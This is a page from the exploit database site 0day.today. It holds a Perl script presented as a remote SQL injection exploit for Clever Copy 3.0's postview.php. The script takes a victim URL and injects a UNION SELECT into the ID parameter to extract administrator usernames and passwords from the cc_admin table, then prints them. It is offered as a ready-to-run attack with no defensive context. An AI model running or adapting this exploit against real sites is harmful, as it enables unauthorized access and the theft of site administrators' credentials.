0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Clever Copy 3.0 (postview.php) Remote SQL Injection Exploit
=========================================================== Clever Copy 3.0 (postview.php) Remote SQL Injection Exploit =========================================================== #!/usr/bin/perl # Clever Copy 'postview.php' SQL Injection Vulnerable Exploit Coded # By U238 | Web - Designer Solutions Developer # Thank you joss # My Friends : ka0x - Marco Almeida - The_BekiR - fahn - Teyfik Cevik - Nettoxic - Caborz print "\n\n0x0x0x0x0x0x0x0xx0x0x0x0x0x0x0x0x0x0x0x00x0x0x0x0x0x0x0xx0x\n\n"; print "\n\n# Clever Copy 'postview.php' SQL Injection Vulnerability #\n\n"; print "\n\n# This Bug Discovered By U28 in Exploit Completed #\n\n"; print "\n\n0x0x0x0x0x0x0x0xx0x0x0x0x0x0x0x0x0x0x0x00x0x0x0x0x0x0x0xx0x\n\n"; use strict; use LWP::UserAgent; my $victim = $ARGV[0]; if(!$ARGV[0]) { print "\n[x] Exploit Options\n"; print "[x] U238 : setuid.noexec0x1[-]hotmail[+]com\n"; print "[x] usage: perl examp.pl (domain)\n"; print "[x] examp: http://target/path/\n\n"; print "[x] Referance:http://www.securityfocus.com/bid/28437/info\n\n"; exit(1); } sleep(3); sleep(1); print "\n[+] Baglanildi $victim...\n"; my $cnx = LWP::UserAgent->new() or die; my $go=$cnx->get($victim."/postview.php?ID='+union+select+username,concat(0x706173737764,char(58),password,0x2D2D2D,0x757365726E616D653ADA,username),1,5,username,username,6,username,username,9,username+from+cc_admin/*"); if ($go->content =~ m/____(.*?)____/ms) { print "$1\n"; } else { print "\n[-] exploit calismadi\n"; } # 0day.today [2024-07-07] #